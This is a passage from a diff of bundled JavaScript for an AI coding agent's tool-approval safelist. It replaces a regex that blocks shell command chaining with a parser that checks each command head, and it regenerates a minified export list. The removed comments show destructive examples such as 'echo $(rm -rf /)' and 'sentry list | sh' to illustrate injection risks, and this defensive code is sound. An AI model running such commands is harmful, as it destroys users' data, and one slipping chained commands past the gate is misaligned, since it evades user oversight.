- * - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
7947
- * - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
7948
- *
7949
- * We deliberately do NOT block:
7950
- *
7951
- * - `|` — pipes; required for the bread-and-butter CLI pattern
7952
- * `sentry issue list … | jq -r '.[]'`.
7953
- * - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
7954
- * `cmd 2>&1 | jq` are normal CLI usage.
7955
- * - `&` (alone) — backgrounding; runs the same command in the background
7956
- * rather than chaining a new one.
7957
- * - `(…)` — subshells; rare in practice, and the chaining
7958
- * detectors above already catch the dangerous content
7959
- * that would typically live inside them.
7960
- *
7961
- * Trade-off: a model that controls the output of the safelisted head
7962
- * command could in principle pipe garbage into a destructive tool
7963
- * (`sentry list | sh`). The original implementation blocked all
7964
- * metacharacters to avoid that risk, but it made `shell:<head>:*`
7965
- * unusable for real CLI workflows — users hit the prompt on every
7966
- * `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
7967
- * trusts the user's explicit "I want everything starting with <head>"
7968
- * decision; the chaining rejections above keep the obvious escape
7969
- * hatches closed.
7970
- *
7971
- * The regex is intentionally generous: false positives (e.g. a literal
7972
- * `&&` inside a quoted argument) just prompt the user again, which is
7973
- * the safe failure mode.
7974
- */
7975
- const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
7976
- function hasShellChaining(command) {
7977
- return SHELL_CHAINING_RE.test(command);
7978
- }
7979
- /**
7980
8457
  * Test whether a `{ tool, input }` pair is covered by one safelist entry.
7981
8458
  *
7982
8459
  * Supported entry shapes:
7983
- * - `"<tool>"` — broad match on tool name. For `shell`, the command
7984
- * must not chain through another program (see {@link SHELL_CHAINING_RE}).
8460
+ * - `"<tool>"` — broad match on tool name.
7985
8461
  * - `"<tool>:<token>:*"` — match when the primary arg's first token
7986
- * equals `<token>`. For `shell`, same chaining gate as above. Pipes
7987
- * and redirects are allowed so `shell:sentry:*` covers the typical
7988
- * `sentry | jq …` workflow.
8462
+ * equals `<token>`.
8463
+ *
8464
+ * This function matches a **single command** against a **single entry**.
8465
+ * For shell commands that chain multiple programs (`&&`, `||`, `;`,
8466
+ * `$(…)`, etc.), use {@link isOnSafelist} which parses the full command
8467
+ * and checks every head token independently.
7989
8468
  *
7990
8469
  * Entries that don't fit either shape are ignored (forward-compat for
7991
8470
  * future pattern syntax — readers shouldn't choke on entries written
7992
8471
  * by a newer version of the TUI).
7993
8472
  */
7994
8473
  function matchesSafelistEntry(entry, tool, input) {
7995
- if (tool === "shell") {
7996
- if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
7997
- }
7998
8474
  if (entry === tool) return true;
7999
8475
  const sep = entry.indexOf(":");
8000
8476
  if (sep <= 0) return false;
@@ -8003,9 +8479,26 @@ function matchesSafelistEntry(entry, tool, input) {
8003
8479
  if (scope.endsWith(":*")) return primaryArgToken(input) === scope.slice(0, -2);
8004
8480
  return false;
8005
8481
  }
8006
- /** True when a call matches ANY entry in the project's safelist (or is implicitly safe). */
8482
+ /**
8483
+ * True when a call matches ANY entry in the project's safelist (or is
8484
+ * implicitly safe).
8485
+ *
8486
+ * For `shell` commands, the full command string is parsed into individual
8487
+ * commands (handling `&&`, `||`, `;`, `|`, `$(…)`, backticks, subshells).
8488
+ * Every command head must be covered by at least one safelist entry for
8489
+ * the call to pass. If parsing fails, returns `false` (prompt the user).
8490
+ */
8007
8491
  function isOnSafelist(entries, tool, input) {
8008
8492
  if (IMPLICITLY_SAFE_TOOLS.includes(tool)) return true;
8493
+ if (tool === "shell") {
8494
+ const heads = extractCommandHeads(typeof input.command === "string" ? input.command : "");
8495
+ if (heads === null) return false;
8496
+ if (heads.length === 0) return entries.some((e) => matchesSafelistEntry(e, tool, input));
8497
+ return heads.every((head) => entries.some((e) => matchesSafelistEntry(e, tool, {
8498
+ ...input,
8499
+ command: head
8500
+ })));
8501
+ }
8009
8502
  return entries.some((e) => matchesSafelistEntry(e, tool, input));
8010
8503
  }
8011
8504
  /**
@@ -9296,6 +9789,6 @@ function countNeighbors(turnIds, turnId) {
9296
9789
  };
9297
9790
  }
9298
9791
  //#endregion
9299
- export { patchMcpCredential as $, blendHsl as $n, getTodosForRun as $r, lastContextSizeFromTurns as $t, getSafelist as A, summarizeOutcomes as An, getContextWindow as Ar, BUILTIN_THEMES as At, oauthUsesManualCodePaste as B, readKeybindings as Bn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Br, DiscoveryProvider as Bt, resolveSessionExportTarget as C, buildEditOutcomesAnnotation as Cn, writeCredentials as Cr, useEnabledToggleSet as Ct, useSafeModeQueue as D, resolveApprovalForPayload as Dn, cerebrasDescriptor as Dr, SettingsProvider as Dt, useSafeModeActions as E, parseEditOutcomesFromResult as En, anthropicDescriptor as Er, SETTINGS_TOGGLES as Et, suggestSafelistEntry as F, ensureKeybindingsFile as Fn, openrouterDescriptor as Fr, CATPPUCCIN_FRAPPE as Ft, indexOfEntry as G, FILES_TRIGGER as Gn, singleAgentRegistry as Gr, resolveConfig as Gt, supportsOAuth as H, SKILLS_TRIGGER as Hn, PLAN_AGENT as Hr, useDiscoveryOptional as Ht, writeProjects as I, keybindingsPath as In, piIdOf as Ir, CATPPUCCIN_LATTE as It, discoverProjectMcps as J, applyInsert as Jn, TODOWRITE_TOOL as Jr, deriveSessionTitle as Jt, buildMcpServers as K, createFilesCompletionProvider as Kn, TODOREAD_TOOL as Kr, EDIT_TOOL_NAMES as Kt, splitPromptSegments as L, matchesBinding as Ln, BUILD_AGENT as Lr, CATPPUCCIN_MACCHIATO as Lt, matchesSafelistEntry as M, DEFAULT_KEYBINDINGS as Mn, modelSupportsReasoning as Mr, resolveChipColor as Mt, projectsFilePath as N, KEYBINDING_DEFS as Nn, modelsForDescriptor as Nr, resolveTheme as Nt, IMPLICITLY_SAFE_TOOLS as O, rewriteMultiEditHeader as On, credKeyOf as Or, clampFps as Ot, readProjects as P, KEYBINDING_DEF_BY_ACTION as Pn, openaiDescriptor as Pr, VAPORWAVE_THEME as Pt, mcpCredentialsPath as Q, useCompletion as Qn, getArchivedTodosForRun as Qr, isVisible as Qt, formatPathForCwd as R, mergeKeybindings as Rn, BUILTIN_AGENTS as Rr, CATPPUCCIN_MOCHA as Rt, renderSession as S, tokenize as Sn, setProviderCredential as Sr, listProjectFiles as St, SafeModeProvider as T, mergeApprovalAndBodyOutcomes as Tn, OUTPUT_RESERVE_TOKENS as Tr, SETTINGS_CHOICES as Tt, buildModelCatalog as U, createSkillsCompletionProvider as Un, accentColor as Ur, ConfigProvider as Ut, runOAuthLogin as V, stripJsonComments as Vn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Vr, useDiscovery as Vt, filterModelCatalog as W, uniqueSkillNamesFromReferences as Wn, resolveAgentId as Wr, useConfig as Wt, projectUserPaths as X, findActiveTrigger as Xn, TODO_WRITE_COUNTS_METADATA_KEY as Xr, isEditErrorResult as Xt, parseMcpsFile as Y, collectReferences as Yn, TODO_STATUS_GLYPHS as Yr, eventsFromTurns as Yt, createFileMcpCredentialStore as Z, mergeReferences as Zn, createTodoTools as Zr, isTurnHighlighted as Zt, turnContextSize as _, buildPlanSystem as _i, extractEditPayload as _n, applyApiKeyEnv as _r, clipHintsToWidth as _t, computeTurnAnchors as a, useActiveTodos as ai, stripSpawnTokensLine as an, useUpdateCheck as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, splitLines as bn, readProviderCredential as br, cleanTitle as bt, formatToolCall as c, DOING_TASKS_DOCTRINE as ci, toolCallPreview as cn, detectLibc as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, INTERACTION_GUIDANCE_NO_PROMPTS as di, updateToolEventOutcomes as dn, performInPlaceSelfUpdate as dr, isInteractionTool as dt, isTodoTool as ei, listSessionMeta as en, buildLinearRamp as er, McpAuthProvider as et, useSurfaces as f, PLAN_MODE_DOCTRINE as fi, applyEditPayload as fn, performSelfUpdate as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, buildBuildSystem as gi, computeLineDiff as gn, detectAuth as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, TOKEN_DISCIPLINE_DOCTRINE as hi, computeInlineDiff as hn, shouldAutoCompact as hr, useInteractionsActions as ht, turnAsText as i, setTodosForRun as ii, selectableTurnIds as in, buildUpdateHint as ir, reduceMcpAuth as it, isOnSafelist as j, findGitRoot$1 as jn, getModelInfo as jr, DEFAULT_THEME as jt, addToSafelist as k, stripEditOutcomesAnnotation as kn, effectiveContextWindow as kr, useSettings as kt, ThemeProvider as l, IDENTITY_PREFIX as li, toolResultText as ln, detectPackageManager as lr, buildResumedToolResultsTurn as lt, useTheme as m, SUBAGENT_GUIDANCE as mi, buildUnifiedDiff as mn, AUTO_COMPACT_MIN_GROWTH_FRACTION as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, pruneTodosByRun as ni, marginTopFor as nn, bootProfileEnabled as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, ACTIONS_WITH_CARE_DOCTRINE as oi, sumRunCosts as on, checkForUpdate as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, PLAN_MODE_DOCTRINE_NO_PROMPTS as pi, buildContextualDiff as pn, resolvePlatformPackage as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, uniqueFilesFromReferences as qn, TODOS_METADATA_KEY as qr, createStateStore as qt, truncateTurnsAt as r, selectActiveTodos as ri, saveState as rn, bootTick as rr, getMcpAuthStatus as rt, displayNameFor as s, COMMUNICATION_DOCTRINE as si, titleFromTurns as sn, compareSemver as sr, InteractionsProvider as st, countNeighbors as t, pickActiveRunId as ti, loadState as tn, tryOpenBrowser as tr, useMcpAuthDispatch as tt, useColors as u, INTERACTION_GUIDANCE as ui, turnSelectionOwnership as un, parseSemver as ur, createInteractionTools as ut, useStreamBuffer as v, envSection as vi, filetypeFromPath as vn, credentialsPath as vr, hintsLength as vt, writeSessionExport as w, maskToOutcomeKinds as wn, BUILTIN_PROVIDERS as wr, DEFAULT_SETTINGS as wt, discoverProjectSkills as x, summarizeEditPayload as xn, removeProviderCredential as xr, generateSessionTitle as xt, buildSkillsConfig as y, previewEditPayload as yn, readCredentials as yr, truncateTrailing as yt, fetchOAuthRedirect as z, parseBindingSpec as zn, DEFAULT_AGENT_ID as zr, createDiscoverySlot as zt };
9792
+ export { patchMcpCredential as $, collectReferences as $n, TODO_STATUS_GLYPHS as $r, isEditErrorResult as $t, getSafelist as A, resolveApprovalForPayload as An, anthropicDescriptor as Ar, SettingsProvider as At, oauthUsesManualCodePaste as B, keybindingsPath as Bn, piIdOf as Br, CATPPUCCIN_MACCHIATO as Bt, resolveSessionExportTarget as C, splitLines as Cn, readCredentials as Cr, buildHints as Ct, useSafeModeQueue as D, maskToOutcomeKinds as Dn, writeCredentials as Dr, DEFAULT_SETTINGS as Dt, useSafeModeActions as E, buildEditOutcomesAnnotation as En, setProviderCredential as Er, useEnabledToggleSet as Et, suggestSafelistEntry as F, DEFAULT_KEYBINDINGS as Fn, getModelInfo as Fr, resolveChipColor as Ft, indexOfEntry as G, stripJsonComments as Gn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Gr, useDiscoveryOptional as Gt, supportsOAuth as H, mergeKeybindings as Hn, BUILTIN_AGENTS as Hr, createDiscoverySlot as Ht, writeProjects as I, KEYBINDING_DEFS as In, modelSupportsReasoning as Ir, resolveTheme as It, discoverProjectMcps as J, uniqueSkillNamesFromReferences as Jn, resolveAgentId as Jr, resolveConfig as Jt, buildMcpServers as K, SKILLS_TRIGGER as Kn, PLAN_AGENT as Kr, ConfigProvider as Kt, splitPromptSegments as L, KEYBINDING_DEF_BY_ACTION as Ln, modelsForDescriptor as Lr, VAPORWAVE_THEME as Lt, matchesSafelistEntry as M, stripEditOutcomesAnnotation as Mn, credKeyOf as Mr, useSettings as Mt, projectsFilePath as N, summarizeOutcomes as Nn, effectiveContextWindow as Nr, BUILTIN_THEMES as Nt, IMPLICITLY_SAFE_TOOLS as O, mergeApprovalAndBodyOutcomes as On, BUILTIN_PROVIDERS as Or, SETTINGS_CHOICES as Ot, readProjects as P, findGitRoot$1 as Pn, getContextWindow as Pr, DEFAULT_THEME as Pt, mcpCredentialsPath as Q, applyInsert as Qn, TODOWRITE_TOOL as Qr, eventsFromTurns as Qt, formatPathForCwd as R, ensureKeybindingsFile as Rn, openaiDescriptor as Rr, CATPPUCCIN_FRAPPE as Rt, renderSession as S, envSection as Si, previewEditPayload as Sn, credentialsPath as Sr, generateSessionTitle as St, SafeModeProvider as T, tokenize as Tn, removeProviderCredential as Tr, listProjectFiles as Tt, buildModelCatalog as U, parseBindingSpec as Un, DEFAULT_AGENT_ID as Ur, DiscoveryProvider as Ut, runOAuthLogin as V, matchesBinding as Vn, BUILD_AGENT as Vr, CATPPUCCIN_MOCHA as Vt, filterModelCatalog as W, readKeybindings as Wn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Wr, useDiscovery as Wt, projectUserPaths as X, createFilesCompletionProvider as Xn, TODOREAD_TOOL as Xr, createStateStore as Xt, parseMcpsFile as Y, FILES_TRIGGER as Yn, singleAgentRegistry as Yr, EDIT_TOOL_NAMES as Yt, createFileMcpCredentialStore as Z, uniqueFilesFromReferences as Zn, TODOS_METADATA_KEY as Zr, deriveSessionTitle as Zt, turnContextSize as _, PLAN_MODE_DOCTRINE_NO_PROMPTS as _i, buildUnifiedDiff as _n, resolvePlatformPackage as _r, EMPTY_HINTS as _t, computeTurnAnchors as a, pickActiveRunId as ai, marginTopFor as an, tryOpenBrowser as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, buildBuildSystem as bi, extractEditPayload as bn, detectAuth as br, truncateTrailing as bt, formatToolCall as c, setTodosForRun as ci, stripSpawnTokensLine as cn, buildUpdateHint as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, COMMUNICATION_DOCTRINE as di, toolCallPreview as dn, compareSemver as dr, isInteractionTool as dt, TODO_WRITE_COUNTS_METADATA_KEY as ei, isTurnHighlighted as en, findActiveTrigger as er, McpAuthProvider as et, useSurfaces as f, DOING_TASKS_DOCTRINE as fi, toolResultText as fn, detectLibc as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, PLAN_MODE_DOCTRINE as gi, buildContextualDiff as gn, performSelfUpdate as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, INTERACTION_GUIDANCE_NO_PROMPTS as hi, applyEditPayload as hn, performInPlaceSelfUpdate as hr, useInteractionsActions as ht, turnAsText as i, isTodoTool as ii, loadState as in, buildLinearRamp as ir, reduceMcpAuth as it, isOnSafelist as j, rewriteMultiEditHeader as jn, cerebrasDescriptor as jr, clampFps as jt, addToSafelist as k, parseEditOutcomesFromResult as kn, OUTPUT_RESERVE_TOKENS as kr, SETTINGS_TOGGLES as kt, ThemeProvider as l, useActiveTodos as li, sumRunCosts as ln, useUpdateCheck as lr, buildResumedToolResultsTurn as lt, useTheme as m, INTERACTION_GUIDANCE as mi, updateToolEventOutcomes as mn, parseSemver as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, getArchivedTodosForRun as ni, lastContextSizeFromTurns as nn, useCompletion as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, pruneTodosByRun as oi, saveState as on, bootProfileEnabled as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, IDENTITY_PREFIX as pi, turnSelectionOwnership as pn, detectPackageManager as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, createSkillsCompletionProvider as qn, accentColor as qr, useConfig as qt, truncateTurnsAt as r, getTodosForRun as ri, listSessionMeta as rn, blendHsl as rr, getMcpAuthStatus as rt, displayNameFor as s, selectActiveTodos as si, selectableTurnIds as sn, bootTick as sr, InteractionsProvider as st, countNeighbors as t, createTodoTools as ti, isVisible as tn, mergeReferences as tr, useMcpAuthDispatch as tt, useColors as u, ACTIONS_WITH_CARE_DOCTRINE as ui, titleFromTurns as un, checkForUpdate as ur, createInteractionTools as ut, useStreamBuffer as v, SUBAGENT_GUIDANCE as vi, computeInlineDiff as vn, AUTO_COMPACT_MIN_GROWTH_FRACTION as vr, clipHintsToWidth as vt, writeSessionExport as w, summarizeEditPayload as wn, readProviderCredential as wr, shortChord as wt, discoverProjectSkills as x, buildPlanSystem as xi, filetypeFromPath as xn, applyApiKeyEnv as xr, cleanTitle as xt, buildSkillsConfig as y, TOKEN_DISCIPLINE_DOCTRINE as yi, computeLineDiff as yn, shouldAutoCompact as yr, hintsLength as yt, fetchOAuthRedirect as z, formatBindingForDisplay as zn, openrouterDescriptor as zr, CATPPUCCIN_LATTE as zt };
9300
9793
 
9301
- //# sourceMappingURL=turn-operations-fhinWY4m.js.map
9794
+ //# sourceMappingURL=turn-operations-CH7rnULP.js.map